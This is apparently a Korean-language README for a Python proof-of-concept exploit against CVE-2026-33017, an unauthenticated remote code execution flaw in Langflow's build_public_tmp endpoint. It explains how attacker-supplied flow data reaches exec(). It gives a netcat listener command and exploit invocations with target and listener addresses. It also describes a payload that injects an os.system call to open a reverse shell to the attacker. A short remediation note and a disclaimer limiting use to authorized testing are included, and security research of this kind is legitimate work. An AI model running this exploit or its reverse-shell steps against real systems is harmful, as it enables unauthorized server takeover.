
Python POC, Exploit for CVE-2026-33017
⚠️ 면책 조항: 이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오. 저자는 이 도구의 오용이나 손해에 대해 책임지지 않습니다.
CVE-2026-33017은 LangChain 애플리케이션 구축을 위한 시각적 프레임워크인 Langflow의 인증되지 않은 원격 코드 실행 취약점입니다.
POST /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트는 인증 없이 공개 플로우를 빌드할 수 있도록 합니다. data 매개변수가 제공되면 엔드포인트는 데이터베이스에 저장된 플로우 데이터 대신 공격자가 제어하는 플로우 데이터(노드 정의에 임의의 Python 코드 포함)를 사용합니다. 이 코드는 샌드박싱 없이 exec()에 전달되어 인증되지 않은 원격 코드 실행이 발생합니다.
client_id 쿠키(임의의 문자열 값)만 있으면 됩니다.git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
공격 머신에서 리버스 셸을 수신할 netcat 리스너를 시작합니다:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# 터미널 1: 리스너 시작
nc -lvnp 4444
# 터미널 2: 익스플로잇 실행
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — 공격자가 제어하는 Python 코드가 포함된 CustomComponent를 포함하는 악성 Langflow 노드를 구성합니다. 이 코드는 그래프 구성 중에 (플로우가 "실행"되기 전에) 실행되는 최상위 os.system() 호출을 포함합니다.
fire_payload() — 악성 노드를 JSON 형식으로 인증되지 않은 build_public_tmp 엔드포인트에 임의의 client_id 쿠키와 함께 전송합니다.
코드 실행 — 서버는 공격자가 제공한 플로우 데이터를 구문 분석하고 사용자 정의 컴포넌트를 인스턴스화한 후 prepare_global_scope() 중에 포함된 코드에 대해 exec()를 호출합니다. 최상위 할당 _r = __import__('os').system(...)은 명령 실행을 즉시 트리거합니다.
리버스 셸 — 페이로드는 리스너로 연결되는 Python 리버스 셸을 생성합니다.
build_public_tmp 엔드포인트는 (공개 플로우를 위해) 인증되지 않도록 설계되었지만, data 매개변수를 통해 공격자가 제공한 플로우 데이터를 잘못 수용합니다. data가 제공되면 저장된 플로우 데이터를 우회하고 공격자가 제어하는 노드를 그래프 빌더에 직접 전달합니다.
build_public_tmp에서 data 매개변수를 제거하십시오. 공개 플로우는 데이터베이스에 저장된 자체 플로우 데이터만 실행해야 하며, 공격자가 제공한 데이터는 절대 실행하지 않아야 합니다.
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
| 인수 | 필수 | 설명 |
|---|
--url | 예 | 대상 URL (예: http://localhost:7860) |
--flow-id | 예 | 공개 플로우 UUID |
--lhost | 예 | 리스너 IP 주소 |
--lport | 예 | 리스너 포트 |
--timeout | 아니요 | 요청 제한 시간(초) (기본값: 15) |